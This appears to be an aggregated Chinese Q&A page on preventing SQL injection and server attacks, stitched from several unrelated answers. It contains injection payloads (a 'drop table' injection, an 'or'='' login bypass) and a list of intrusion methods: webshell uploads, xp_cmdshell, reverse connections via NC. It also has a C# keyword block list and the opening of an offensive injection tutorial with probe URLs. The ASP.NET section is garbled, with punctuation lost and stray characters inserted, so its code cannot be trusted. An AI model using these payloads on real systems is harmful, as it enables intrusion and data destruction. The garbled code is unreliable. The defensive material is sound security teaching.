當前位置:首頁 » 編程語言 » 防sql注入組件
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

防sql注入組件

發布時間: 2023-04-29 04:47:50

1. 如何防範伺服器被攻擊

1.黑客也有可能通過暴力破解的方法來破解超級管理員密碼,從而對伺服器實行攻擊。要預防超級管理員密碼被暴力破解,購買到伺服器後站長一定要修改超級管理員的默認密碼,把密碼修改成為一個復雜的英文加數字的組合密碼,這樣可以加大黑客破解密碼的難度。再復雜的密碼也有被破解的風險,所以建議超級管理員的密碼定期修改一次。

2.埠是病毒、木馬入侵的最主要途徑,所有埠都有可能是黑客的利用對象,通過埠對伺服器實行攻擊。具體怎麼攻擊這里就不細說了,壹基比小喻這里主要講一下怎麼預防,想要預防黑客通過埠攻擊伺服器,最有效的方法是關閉不必要埠,修改重要埠。對外少開放一個埠,黑客就少一個入侵途徑,每開放一個服務就意味著對外多開放一個埠,在關閉埠的同時也要關閉一些不必要的服務。此外,修改一些重要埠可以加大黑客的掃描難度,這樣也能有效地保護我們的伺服器。

3.DDOS攻擊是伺服器常見的一種攻擊,它的攻擊方式有很多,最常見的是通過服務請求來佔用服務資源,從而導致用戶無法得到服務響應。預防DDOS攻擊的最有效的方法是選擇設有機房硬防的機房,硬體防火牆能夠有效預防DDOS攻擊和黑客攻擊。硬防雖然能夠有效預防DDOS攻擊,但對CC攻擊的基本無效,CC攻擊需要通過軟體防火牆來防禦。

4.漏洞也是黑客最主要的入侵途徑,黑客可以通過系統漏洞、程序漏洞等對伺服器實行攻擊。每個系統、程序或多或少會存在有一些漏洞,或系統本身就存在的漏洞,或系統管理員配置錯誤導致的漏洞,站長朋友應該及時給伺服器系統打新補丁,及時升級程序新版本。

以上是關於怎麼預防伺服器被攻擊的分享,雖然伺服器容易遭受攻擊,但如果做好預防措施,能夠最大限度的避免被攻擊成本,而且學習了伺服器被攻擊恢復方法能夠最快的解決問題,降低損失是放在首位的。現在網路發展快,另外除了上述的問題與方法,也還需要多留意新的事物,通過不斷的更新補丁也能起到很好的預防。希望壹基比小喻的這些可以幫到你們。

2. Android中是怎樣防止sql注入的

COPY過來有什麼意思。。。。。。。 ----------------------------- 要防止SQL注入其實不難,你知道原理就可以了。 所有的SQL注入都是從用戶的輸入開始的。如果你對所有用戶輸入進行了判定和過濾,就可以防止SQL注入了。用戶輸入有好幾種,我就說說常見的吧。 文本框、地址欄里***.asp?中?號後面的id=1之類的、單選框等等。一般SQL注入都用地址欄里的。。。。如果要說怎麼注入我想我就和上面的這位「仁兄」一樣的了。 你只要知道解決對嗎? 對於所有從上一頁傳遞過來的參數,包括request.form 、request.qurrystring等等進行過濾和修改。如最常的***.asp?id=123 ,我們的ID只是用來對應從select 里的ID,而這ID一般對應的是一個數據項的唯一值,而且是數字型的。這樣,我們只需把ID的值進行判定,就可以了...

3. 如何利用sql注入攻擊刪除文件

一、 SQL注入攻擊的簡單示例。
statement := "SELECT * FROM Users WHERE Value= " + a_variable + "
上面這條語句是很普通的一條SQL語句,他主要實現的功能就是讓用戶輸入一個員工編號然後查詢處這個員工的信息。但是若這條語句被不法攻擊者改裝過後,就可能成為破壞數據的黑手。如攻擊者在輸入變數的時候,輸入以下內容SA001』;drop table c_order--。那麼以上這條SQL語句在執行的時候就變為了SELECT * FROM Users WHERE Value= 『SA001』;drop table c_order--。
這條語句是什麼意思呢?『SA001』後面的分號表示一個查詢的結束和另一條語句的開始。c_order後面的雙連字元 指示當前行餘下的部分只是一個注釋,應該忽略。如果修改後的代碼語法正確,則伺服器將執行該代碼。系統在處理這條語句時,將首先執行查詢語句,查到用戶編號為SA001 的用戶信息。然後,數據將刪除表C_ORDER(如果沒有其他主鍵等相關約束,則刪除操作就會成功)。只要注入的SQL代碼語法正確,便無法採用編程方式來檢測篡改。因此,必須驗證所有用戶輸入,並仔細檢查在您所用的伺服器中執行構造 SQL命令的代碼。
二、 SQL注入攻擊原理。
可見SQL注入攻擊的危害性很大。在講解其防止辦法之前,資料庫管理員有必要先了解一下其攻擊的原理。這有利於管理員採取有針對性的防治措施。
SQL注入是目前比較常見的針對資料庫的一種攻擊方式。在這種攻擊方式中,攻擊者會將一些惡意代碼插入到字元串中。然後會通過各種手段將該字元串傳遞到SQLServer資料庫的實例中進行分析和執行。只要這個惡意代碼符合SQL語句的規則,則在代碼編譯與執行的時候,就不會被系統所發現。
SQL注入式攻擊的主要形式有兩種。一是直接將代碼插入到與SQL命令串聯在一起並使得其以執行的用戶輸入變數。上面筆者舉的例子就是採用了這種方法。由於其直接與SQL語句捆綁,故也被稱為直接注入式攻擊法。二是一種間接的攻擊方法,它將惡意代碼注入要在表中存儲或者作為原書據存儲的字元串。在存儲的字元串中會連接到一個動態的SQL命令中,以執行一些惡意的SQL代碼。
注入過程的工作方式是提前終止文本字元串,然後追加一個新的命令。如以直接注入式攻擊為例。就是在用戶輸入變數的時候,先用一個分號結束當前的語句。然後再插入一個惡意SQL語句即可。由於插入的命令可能在執行前追加其他字元串,因此攻擊者常常用注釋標記「—」來終止注入的字元串。執行時,系統會認為此後語句位注釋,故後續的文本將被忽略,不背編譯與執行。
三、 SQL注入式攻擊的防治。
既然SQL注入式攻擊的危害這么大,那麼該如何來防治呢?下面這些建議或許對資料庫管理員防治SQL注入式攻擊有一定的幫助。
1、 普通用戶與系統管理員用戶的許可權要有嚴格的區分。
如果一個普通用戶在使用查詢語句中嵌入另一個Drop Table語句,那麼是否允許執行呢?由於Drop語句關繫到資料庫的基本對象,故要操作這個語句用戶必須有相關的許可權。在許可權設計中,對於終端用戶,即應用軟體的使用者,沒有必要給他們資料庫對象的建立、刪除等許可權。那麼即使在他們使用SQL語句中帶有嵌入式的惡意代碼,由於其用戶許可權的限制,這些代碼也將無法被執行。故應用程序在設計的時候,最好把系統管理員的用戶與普通用戶區分開來。如此可以最大限度的減少注入式攻擊對資料庫帶來的危害。
2、 強迫使用參數化語句。
如果在編寫SQL語句的時候,用戶輸入的變數不是直接嵌入到SQL語句。而是通過參數來傳遞這個變數的話,那麼就可以有效的防治SQL注入式攻擊。也就是說,用戶的輸入絕對不能夠直接被嵌入到SQL語句中。與此相反,用戶的輸入的內容必須進行過濾,或者使用參數化的語句來傳遞用戶輸入的變數。參數化的語句使用參數而不是將用戶輸入變數嵌入到SQL語句中。採用這種措施,可以杜絕大部分的SQL注入式攻擊。不過可惜的是,現在支持參數化語句的資料庫引擎並不多。不過資料庫工程師在開發產品的時候要盡量採用參數化語句。
3、 加強對用戶輸入的驗證。
總體來說,防治SQL注入式攻擊可以採用兩種方法,一是加強對用戶輸入內容的檢查與驗證;二是強迫使用參數化語句來傳遞用戶輸入的內容。在SQLServer資料庫中,有比較多的用戶輸入內容驗證工具,可以幫助管理員來對付SQL注入式攻擊。測試字元串變數的內容,只接受所需的值。拒絕包含二進制數據、轉義序列和注釋字元的輸入內容。這有助於防止腳本注入,防止某些緩沖區溢出攻擊。測試用戶輸入內容的大小和數據類型,強制執行適當的限制與轉換。這即有助於防止有意造成的緩沖區溢出,對於防治注入式攻擊有比較明顯的效果。
如可以使用存儲過程來驗證用戶的輸入。利用存儲過程可以實現對用戶輸入變數的過濾,如拒絕一些特殊的符號。如以上那個惡意代碼中,只要存儲過程把那個分號過濾掉,那麼這個惡意代碼也就沒有用武之地了。在執行SQL語句之前,可以通過資料庫的存儲過程,來拒絕接納一些特殊的符號。在不影響資料庫應用的前提下,應該讓資料庫拒絕包含以下字元的輸入。如分號分隔符,它是SQL注入式攻擊的主要幫凶。如注釋分隔符。注釋只有在數據設計的時候用的到。一般用戶的查詢語句中沒有必要注釋的內容,故可以直接把他拒絕掉,通常情況下這么做不會發生意外損失。把以上這些特殊符號拒絕掉,那麼即使在SQL語句中嵌入了惡意代碼,他們也將毫無作為。
故始終通過測試類型、長度、格式和范圍來驗證用戶輸入,過濾用戶輸入的內容。這是防止SQL注入式攻擊的常見並且行之有效的措施。
4、 多多使用SQL Server資料庫自帶的安全參數。
為了減少注入式攻擊對於SQL Server資料庫的不良影響,在SQLServer資料庫專門設計了相對安全的SQL參數。在資料庫設計過程中,工程師要盡量採用這些參數來杜絕惡意的SQL注入式攻擊。
如在SQL Server資料庫中提供了Parameters集合。這個集合提供了類型檢查和長度驗證的功能。如果管理員採用了Parameters這個集合的話,則用戶輸入的內容將被視為字元值而不是可執行代碼。即使用戶輸入的內容中含有可執行代碼,則資料庫也會過濾掉。因為此時資料庫只把它當作普通的字元來處理。使用Parameters集合的另外一個優點是可以強制執行類型和長度檢查,范圍以外的值將觸發異常。如果用戶輸入的值不符合指定的類型與長度約束,就會發生異常,並報告給管理員。如上面這個案例中,如果員工編號定義的數據類型為字元串型,長度為10個字元。而用戶輸入的內容雖然也是字元類型的數據,但是其長度達到了20個字元。則此時就會引發異常,因為用戶輸入的內容長度超過了資料庫欄位長度的限制。
5、 多層環境如何防治SQL注入式攻擊?
在多層應用環境中,用戶輸入的所有數據都應該在驗證之後才能被允許進入到可信區域。未通過驗證過程的數據應被資料庫拒絕,並向上一層返回一個錯誤信息。實現多層驗證。對無目的的惡意用戶採取的預防措施,對堅定的攻擊者可能無效。更好的做法是在用戶界面和所有跨信任邊界的後續點上驗證輸入。如在客戶端應用程序中驗證數據可以防止簡單的腳本注入。但是,如果下一層認為其輸入已通過驗證,則任何可以繞過客戶端的惡意用戶就可以不受限制地訪問系統。故對於多層應用環境,在防止注入式攻擊的時候,需要各層一起努力,在客戶端與資料庫端都要採用相應的措施來防治SQL語句的注入式攻擊。
6、 必要的情況下使用專業的漏洞掃描工具來尋找可能被攻擊的點。
使用專業的漏洞掃描工具,可以幫助管理員來尋找可能被SQL注入式攻擊的點。不過漏洞掃描工具只能發現攻擊點,而不能夠主動起到防禦SQL注入攻擊的作用。當然這個工具也經常被攻擊者拿來使用。如攻擊者可以利用這個工具自動搜索攻擊目標並實施攻擊。為此在必要的情況下,企業應當投資於一些專業的漏洞掃描工具。一個完善的漏洞掃描程序不同於網路掃描程序,它專門查找資料庫中的SQL注入式漏洞。最新的漏洞掃描程序可以查找最新發現的漏洞。所以憑借專業的工具,可以幫助管理員發現SQL注入式漏洞,並提醒管理員採取積極的措施來預防SQL注入式攻擊。如果攻擊者能夠發現的SQL注入式漏洞資料庫管理員都發現了並採取了積極的措施堵住漏洞,那麼攻擊者也就無從下手了。

如何防範黑客入侵網站的幾種常見安全方法
• 本文的目的是告訴企業在建網站時如何打造一個防範黑客攻擊的安全網站
• 互聯網隨著時間的發展,它的優勢越來越來明顯,世界越來越多的企業通過這二十四小時不間斷的傳波平台,打造自己公司的網站,開展電子商務活動;由於互聯網的特殊性和復雜性,一旦你企業的網站接入互聯網後,你的企業網站便為一個公眾場所,任何人都可以上你的企業網站瀏覽信息,任何人(比如:黑客)都有可能對你的企業網站進行技術上測試,查找你的企業網站在程序設計上的漏洞,不論他目的是惡意還其它原因,你都無法制止他的行為,因為黑客在遠程電腦上實施操作。
• 建設一個有安全系數保證的網站,關系著一個企業的商業信譽問題,面臨日夜猖狂、日益肆虐的網路攻擊事件不斷發生,給自己的網站做一些最基本的安全防範措施是非常必要的。
• 非法字元過濾和轉換
• 黑客攻擊網站之前,先採用探路方式,通過網站的留言、論壇、搜索等系統,注入可執行的web腳本代碼和SQL語法,來達到入侵網站的目的;對網站所有互動式介面的文本輸入框(如:網站留言系統、BBS系統、blog系統、搜索系統、登陸系統等)的地方採取在客戶端非法字元過濾和轉換技術,通過非法字元過濾和轉換將可執行的惡意代碼變為可讀HTML代碼,使它基本失去了暴破網站的威力,又起到了保護網站程序源代碼不受破壞的作用。
• 建一個指定自定義出錯(Error)的信息頁面
• 好處在於防止網站設計源代碼的溢出,黑客在入侵網站的後台管理系統,往往在網頁地址欄輸入可執行的SQL語法和根據程序員為網頁命名的習慣輸入網址的文件名,一旦黑客採用這種方式,就會將黑客帶向指定自定義出錯(Error)的信息頁面。

• 拒絕Cookie驗證方式
• Cookie的好處在於管理員和注冊用戶登陸網站時Cookie會保存登陸信息,下次再登陸時Cookie會自動將這些信息保留在登陸的頁面輸入文本框中,其作用是為了方便登陸者,但也給黑客採集Cookie的信息提供了良機,所以應該拒絕採用客戶端Cookie驗證登陸方式,而改用通過伺服器驗證方式登陸並對賬號和密碼採用單向加密方式保存。
• 不要用自助建網站系統建你的企業網站
• 一些網站設計公司為了增加銷量降低成本(其實大部分客戶喜歡購買廉價的自助建網站系統),開發不同用途的自助建網站系統(如:網站內容管理、BBS、新聞發布、留言、博客等),同時為了爭奪市場、擴大產品知名度,往往兩種方式銷售產品:個人版可以免費下載;商業版則需要購買;其實兩個版本的網站在是同一種程序技術基礎開發出來的,商業版是授權驗證後可作商業用途,有技術支持和維護保證;黑客通過下載個人版,來潛心深研這些自助建網站系統的開放源代碼,從中找出程序漏洞,一旦發現了可攻擊的程序漏洞,通過搜索引擎平台檢索出同一型號版本自建網站系統,然後就發起攻擊;解決方式找有自主能力開發網站公司設計你的企業網站,通過將網站的設計源代碼封裝成「.dll」組件,這樣即保證網站設計上的安全性又保護了源代碼,又提高了網站的安全系數同時也降低了網站被入侵的危害程度,因為黑客攻陷網站往往是從研究網站源代碼開始並中找出程序漏洞。
• 解決Googel「暴庫」問題
• 一些程序員在開發網站喜歡用虛擬路徑方法調用資料庫,這就必須將資料庫保存在開通WWW服務的文件夾下,自然逃不過狡猾黑客的眼睛,一旦黑客破解了資料庫的真實保存位置,便可以從瀏覽器的地址欄打開和下載該資料庫,對網站的後果是非常危險的;要想確保你網站的資料庫不被黑客下載,只要採取將資料庫保存在非WWW服務的文件夾下,通過物理(真實)路徑方法調用資料庫,就可完全防止黑客下載你企業網站的資料庫。

• 建立robots文件
• 為了防止網站的重要文件夾(如:後台管理)和文件(如:純程序文件)不被搜索引擎所收錄,首先在網站根目錄下建一個「robots.txt」純文本文件,來防止網站的重要文件或其它敏感信息被搜索引擎所收錄;最大多搜索引擎平台都遵守robots協議;搜索引擎機器人訪問網站時,首先找到網站根目錄下robots文件,然後會讀取robots文件的內容,來確定它對網站收錄的范圍;robots文件可以說是對搜索引擎機器人收錄許可權的限制管理,從而避免將網站的重要文件或其它敏感信息暴露在網路上,在網站安全上起一個防禦鎖作用,robots文件可由網站設計者在遵守robots協議下,根據網站的實際情況自由編寫。
• 完全將杜絕黑客的攻擊和入侵是不可能的,完全在網站的每個介面過濾和轉換非法字元串是辦不到,比如,在文件上傳時,狡猾黑客會採取躲過過濾和轉換非法字元串的辦法,將可執行惡意腳本代碼保存「.gif」格式或「.jpg」格式來實施文件上傳漏洞攻擊,解決的方法是對所有上傳的文件先導入到「.txt」純文本文件讀一遍,判斷是否是可執行惡意腳本代碼,如果是就刪除,但是網站管理員要有web程序基礎;黑客入侵網站的方式變化多端,幾千種免費暴破網站的軟體,使你企業網站防不勝防,但是以上介紹幾種防禦措施對菜鳥黑客是可行的,對於一些資深黑客,他也要費一些精力和時間來暴破你企業網站,他會考慮值不值得?畢竟你的網站只是一個企業網站,不是銀行和證券交涉現金交易的網站(它們的程序設計安全系數更高),在大多數下情況,「大俠」黑客不會光顧你企業網站。

1、SQL注入漏洞的入侵
這種是ASP+ACCESS的網站入侵方式,通過注入點列出資料庫裡面管理員的帳號和密碼信息,然後猜解出網站的後台地址,然後用帳號和密碼登錄進去找到文件上傳的地方,把ASP木馬上傳上去,獲得一個網站的WEBSHELL。這個是黑鏈使用的前一部分,應該比較常用吧。現在網上賣webshell的太多了。
2、ASP上傳漏洞的利用
這種技術方式是利用一些網站的ASP上傳功能來上傳ASP木馬的一種入侵方式,不少網站都限制了上傳文件的類型,一般來說ASP為後綴的文件都不允許上傳,但是這種限制是可以被黑客突破的,黑客可以採取COOKIE欺騙的方式來上傳ASP木馬,獲得網站的WEBSHELL許可權。
3、後台資料庫備份方式獲得WEBSHELL
這個主要是利用網站後台對ACCESS資料庫進行資料庫備份和恢復的功能,備份資料庫路徑等變數沒有過濾導致可以把任何文件的後綴改成ASP,那麼利用網站上傳的功能上傳一個文件名改成JPG或者GIF後綴的ASP木馬,然後用這個恢復庫備份和恢復的功能把這個木馬恢復成ASP文件,從而達到能夠獲取網站WEBSHELL控制許可權的目的。
4、網站旁註入侵
這種技術是通過IP綁定域名查詢的功能查出伺服器上有多少網站,然後通過一些薄弱的網站實施入侵,拿到許可權之後轉而控制伺服器的其它網站。
下面這幾種我就聽不懂了,不過有點高技術的站長會看懂的。
5、sa注入點利用的入侵技術
這種是ASP+MSSQL網站的入侵方式,找到有SA許可權的SQL注入點,然後用SQL資料庫的XP_CMDSHELL的存儲擴展來運行系統命令建立系統級別的帳號,然後通過3389登錄進去,或者在一台肉雞上用NC開設一個監聽埠,然後用VBS一句話木馬下載一個NC到伺服器裡面,接著運行NC的反向連接命令,讓伺服器反向連接到遠程肉雞上,這樣遠程肉雞就有了一個遠程的系統管理員級別的控制許可權。
6、sa弱密碼的入侵技術
這種方式是用掃描器探測SQL的帳號和密碼信息的方式拿到SA的密碼,然後用SQLEXEC之類的工具通過1433埠連接到遠程伺服器上,然後開設系統帳號,通過3389登錄。然後這種入侵方式還可以配合WEBSHELL來使用,一般的ASP+MSSQL 網站通常會把MSSQL的連接密碼寫到一個配置文件當中,這個可以用WEBSHELL來讀取配置文件裡面的SA密碼,然後可以上傳一個SQL木馬的方式來獲取系統的控制許可權。
7、提交一句話木馬的入侵方式
這種技術方式是對一些資料庫地址被改成asp文件的網站來實施入侵的。黑客通過網站的留言版,論壇系統等功能提交一句話木馬到資料庫裡面,然後在木馬客戶端裡面輸入這個網站的資料庫地址並提交,就可以把一個ASP木馬寫入到網站裡面,獲取網站的WEBSHELL許可權。
8、論壇漏洞利用入侵方式
這種技術是利用一些論壇存在的安全漏洞來上傳ASP木馬獲得WEBSHELL許可權,最典型的就是,動網6.0版本,7.0版本都存在安全漏洞,拿7.0版本來說,注冊一個正常的用戶,然後用抓包工具抓取用戶提交一個ASP文件的COOKIE,然後用明小子之類的軟體採取COOKIE欺騙的上傳方式就可以上傳一個ASP木馬,獲得網站的WEBSHELL。

4. ASP.NET 實現SQL注入過濾

一 什麼是SQL注入式攻擊 所謂SQL注入式攻擊 就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字元串 欺騙伺服器執行惡意的SQL命令 在某些表單中 用戶輸入的內容直接用來構造(或者影響)動態SQL命令 或作為存儲過程的輸入參數 這類表單特別容易受到SQL注入式攻擊 常見的SQL注入式攻擊過程類如 ⑴ 某個ASP NET Web應用有一個登錄頁面 這個登錄頁面控制著用戶是否有權訪問應用 它要求用戶輸入一個名稱和密碼 ⑵ 登錄頁面中輸入的內容好塵將直接用來構造動態的SQL命令 或者直接用作存儲過程的參數 下面是ASP NET應用構造查詢的一個例子 System Text StringBuilder query = new System Text StringBuilder( SELECT * from Users WHERE login = ) Append(txtLogin Text) Append( AND password= ) Append(txtPassword Text) Append( ) ⑶ 攻擊者在用戶名字和密碼輸入框中輸入 或 = 之類的內容 ⑷ 用戶輸入的內容提交給伺服器之後 伺服器運行上猛襪清面的ASP NET代碼構造出查詢用戶的SQL命令 但由於攻擊者輸入的內容非常特殊 所以最後得到的SQL命令變成 SELECT * from Users WHERE login = or = AND password = or = ⑸ 伺服器執行查詢或存儲過程 將用戶輸入的身份信息和伺服器中保存的身份信息進行對比 ⑹ 由於SQL命令實際上已被注入式攻擊修改 已經不能真正驗證用戶身份 所以系統會錯誤地授權給攻擊者 如果攻擊者知道應用會將表單中輸入的內容直接用於驗證身份的查詢 他就會嘗試輸入某些特殊的SQL字元串篡改查詢改變其原來的功能 欺騙系統授予訪問許可權 枝前 系統環境不同 攻擊者可能造成的損害也不同 這主要由應用訪問資料庫的安全許可權決定 如果用戶的帳戶具有管理員或其他比較高級的許可權 攻擊者就可能對資料庫的表執行各種他想要做的操作 包括添加 刪除或更新數據 甚至可能直接刪除表 二 如何防範 好在要防止ASP NET應用被SQL注入式攻擊闖入並不是一件特別困難的事情 只要在利用表單輸入的內容構造SQL命令之前 把所有輸入內容過濾一番就可以了 過濾輸入內容可以按多種方式進行

⑴ 對於動態構造SQL查詢的場合 可以使用下面的技術 第一 替換單引號 即把所有單獨出現的單引號改成兩個單引號 防止攻擊者修改SQL命令的含義 再來看前面的例子 SELECT * from Users WHERE login = or = AND password = or = 顯然會得到與 SELECT * from Users WHERE login = or = AND password = or = 不同的結果 第二 刪除用戶輸入內容中的所有連字元 防止攻擊者構造出類如 SELECT * from Users WHERE login = mas AND password = 之類的查詢 因為這類查詢的後半部分已經被注釋掉 不再有效 攻擊者只要知道一個合法的用戶登錄名稱 根本不需要知道用戶的密碼就可以順利獲得訪問許可權 第三 對於用來執行查詢的資料庫帳戶 限制其許可權 用不同的用戶帳戶執行查詢 插入 更新 刪除操作 由於隔離了不同帳戶可執行的操作 因而也就防止了原本用於執行SELECT命令的地方卻被用於執行INSERT UPDATE或DELETE命令 ⑵ 用存儲過程來執行所有的查詢 SQL參數的傳遞方式將防止攻擊者利用單引號和連字元實施攻擊 此外 它還使得資料庫許可權可以限制到只允許特定的存儲過程執行 所有的用戶輸入必須遵從被調用的存儲過程的安全上下文 這樣就很難再發生注入式攻擊了 ⑶ 限製表單或查詢字元串輸入的長度 如果用戶的登錄名字最多隻有 個字元 那麼不要認可表單中輸入的 個以上的字元 這將大大增加攻擊者在SQL命令中插入有害代碼的難度 ⑷ 檢查用戶輸入的合法性 確信輸入的內容只包含合法的數據 數據檢查應當在客戶端和伺服器端都執行 之所以要執行伺服器端驗證 是為了彌補客戶端驗證機制脆弱的安全性 在客戶端 攻擊者完全有可能獲得網頁的源代碼 修改驗證合法性的腳本(或者直接刪除腳本) 然後將非法內容通過修改後的表單提交給伺服器 因此 要保證驗證操作確實已經執行 唯一的辦法就是在伺服器端也執行驗證 你可以使用許多內建的驗證對象 例如RegularExpressionValidator 它們能夠自動生成驗證用的客戶端腳本 當然你也可以插入伺服器端的方法調用 如果找不到現成的驗證對象 你可以通過CustomValidator自己創建一個 ⑸ 將用戶登錄名稱 密碼等數據加密保存 加密用戶輸入的數據 然後再將它與資料庫中保存的數據比較 這相當於對用戶輸入的數據進行了 消毒 處理 用戶輸入的數據不再對資料庫有任何特殊的意義 從而也就防止了攻擊者注入SQL命令 System Web Security FormsAuthentication類有一個 非常適合於對輸入數據進行消毒處理 ⑹ 檢查提取數據的查詢所返回的記錄數量 如果程序只要求返回一個記錄 但實際返回的記錄卻超過一行 那就當作出錯處理

以上資料參考與 賽迪網資料 但是我覺得在我們的ASP NET程序里防止SQL 注入 首先應該盡量使用存儲過程 關於使用存儲過程的好處在這里就不展開討論了 使用參數傳遞變數 最不妥當的方法就是認為判斷SQL注入信息 盡管如此 可能日常開發中由於種種原因不能做的面面具道 存在各種各種的實際問題 現在是最近在一個項目中沒有考慮SQL注入項目補救寫的一個組件庫 資料也參考來源與網路 實現很簡單 下面是具體實現的源程序 using System; using System Text RegularExpressions; using System Web; namespace FSqlKeyWord …{ /**//// <summary> /// SqlKey 的摘要說明 /// </summary> public class SqlKey …{ private HttpRequest request; private const string StrKeyWord = @ select|insert|delete|from|count(|drop table|update|truncate|asc(|mid(|char(|xp_cmdshell|exec master|netlocalgroup administrators|:|net user| |or|and ; private const string StrRegex = @ [ |;| |/|(|)|[|]|}|{|%|@|*|!| ] ; public SqlKey(System Web HttpRequest _request) …{ // // TODO: 在此處添加構造函數邏輯 // this request = _request; } /**//// <summary> /// 只讀屬性 SQL關鍵字 /// </summary> public static string KeyWord …{ get …{ return StrKeyWord; } } /**//// <summary> /// 只讀屬性過濾特殊字元 /// </summary> public static string RegexString …{ get …{ return StrRegex; } } /**//// <summary> /// 檢查URL參數中是否帶有SQL注入可能關鍵字 /// </summary> /// <param name= _request >當前HttpRequest對象</param> /// <returns>存在SQL注入關鍵字true存在 false不存在</returns> public bool CheckRequestQuery() …{ if (request QueryString Count != ) …{ //若URL中參數存在 逐個比較參數 for (int i = ; i < request QueryString Count; i++) …{ // 檢查參數值是否合法 if (CheckKeyWord(request QueryString[i] ToString())) …{ return true; } } } return false; } /**//// <summary> /// 檢查提交表單中是否存在SQL注入可能關鍵字 /// </summary> /// <param name= _request >當前HttpRequest對象</param> /// <returns>存在SQL注入關鍵字true存在 false不存在</returns> public bool CheckRequestForm() …{ if (request Form Count > ) …{ //獲取提交的表單項不為 逐個比較參數 for (int i = ; i < request Form Count; i++) …{ //檢查參數值是否合法 if (CheckKeyWord(request Form[i])) …{ //存在SQL關鍵字 return true; } } } return false; } /**//// <summary> /// 靜態方法 檢查_sword是否包涵SQL關鍵字 /// </summary> /// <param name= _sWord >被檢查的字元串</param> /// <returns>存在SQL關鍵字返回true 不存在返回false</returns> public static bool CheckKeyWord(string _sWord) …{ if (Regex IsMatch(_sWord StrKeyWord RegexOptions IgnoreCase) || Regex IsMatch(_sWord StrRegex)) return true; return false; } /**//// <summary> /// 反SQL注入 返回 無注入信息 否則返回錯誤處理 /// </summary> /// <returns>返回 無注入信息 否則返回錯誤處理</returns> public string CheckMessage() …{ string msg = ; if (CheckRequestQuery()) //CheckRequestQuery() || CheckRequestForm() …{ msg = <span style= font size: px; >非法操作!<br> ; msg += 操作IP: + request ServerVariables[ REMOTE_ADDR ] + <br> ; msg += 操作時間 + DateTime Now + <br> ; msg += 頁面 + request ServerVariables[ URL ] ToLower() + <br> ; msg += <a # onclick= history back() >返回上一頁</a></span> ; } return msg ToString() } } } lishixin/Article/program/net/201311/11680

5. 如何防治SQL注入

隨著B/S模式應用開發的發展,使用這種模式編寫應用程序的程序員也越來越多。但是由於這個行業的入門門檻不高,程序員的水平及經驗也參差不齊,相當大一部分程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據,這就是所謂的SQL Injection,即SQL注入。

SQL注入是從正常的WWW埠訪問,而且表面看起來跟一般的Web頁面訪問沒什麼區別,所以目前市面的防火牆都不會對SQL注入發出警報

,如果管理員沒查看IIS日誌的習慣,可能被入侵很長時間都不會發覺。

但是,SQL注入的手法相當靈活,在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析,構造巧妙的SQL語句,從而成功獲取想要的數據,是高手與「菜鳥」的根本區別。

根據國情,國內的網站用ASP+Access或SQLServer的佔70%以上,PHP+MySQ佔L20%,其他的不足10%。在本文,我們從分入門、進階至高級講解一下ASP注入的方法及技巧,PHP注入的文章由NB聯盟的另一位朋友zwell撰寫,希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇,因為部分人對注入的基本判斷方法還存在誤區。大家准備好了嗎?Let's Go...

入門篇

如果你以前沒試過SQL注入的話,那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論伺服器返回什麼錯誤,IE都只顯示為HTTP 500伺服器錯誤,不能獲得更多的提示信息。

第一節、SQL注入原理

以下我們從一個網站www.mytest.com開始(註:本文發表前已徵得該站站長同意,大部分都是真實數據)。

在網站首頁上,有名為「IE不能打開新窗口的多種解決方法」的鏈接,地址為:http://www.mytest.com/showdetail.asp?id=49,我們在這個地址後面加上單引號』,伺服器會返回下面的錯誤提示:

Microsoft JET Database Engine 錯誤 '80040e14'

字元串的語法錯誤 在查詢表達式 'ID=49'' 中。

/showdetail.asp,行8

從這個錯誤提示我們能看出下面幾點:

1. 網站使用的是Access資料庫,通過JET引擎連接資料庫,而不是通過ODBC。

2. 程序沒有判斷客戶端提交的數據是否符合程序要求。

3. 該SQL語句所查詢的表中有一名為ID的欄位。

從上面的例子我們可以知道,SQL注入的原理,就是從客戶端提交特殊的代碼,從而收集程序及伺服器的信息,從而獲取你想到得到的資料。

第二節、判斷能否進行SQL注入

看完第一節,有一些人會覺得:我也是經常這樣測試能否注入的,這不是很簡單嗎?

其實,這並不是最好的方法,為什麼呢?

首先,不一定每台伺服器的IIS都返回具體錯誤提示給客戶端,如果程序中加了cint(參數)之類語句的話,SQL注入是不會成功的,但伺服器同樣會報錯,具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

其次,部分對SQL注入有一點了解的程序員,認為只

要把單引號過濾掉就安全了,這種情況不為少數,如果你用單引號測試,是測不到注入點的

那麼,什麼樣的測試方法才是比較准確呢?答案如下:

① http://www.mytest.com/showdetail.asp?id=49

② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

這就是經典的1=1、1=2測試法了,怎麼判斷呢?看看上面三個網址返回的結果就知道了:

可以注入的表現:

① 正常顯示(這是必然的,不然就是程序有錯誤了)

② 正常顯示,內容基本與①相同

③ 提示BOF或EOF(程序沒做任何判斷時)、或提示找不到記錄(判斷了rs.eof時)、或顯示內容為空(程序加了on error resume next)

不可以注入就比較容易判斷了,①同樣正常顯示,②和③一般都會有程序定義的錯誤提示,或提示類型轉換時出錯。

當然,這只是傳入參數是數字型的時候用的判斷方法,實際應用的時候會有字元型和搜索型參數,我將在中級篇的「SQL注入一般步驟」再做分析。

第三節、判斷資料庫類型及注入方法

不同的資料庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer,網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢?來看看:

SQLServer有一些系統變數,如果伺服器IIS提示沒關閉,並且SQLServer返回錯誤提示的話,那可以直接從出錯信息獲取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

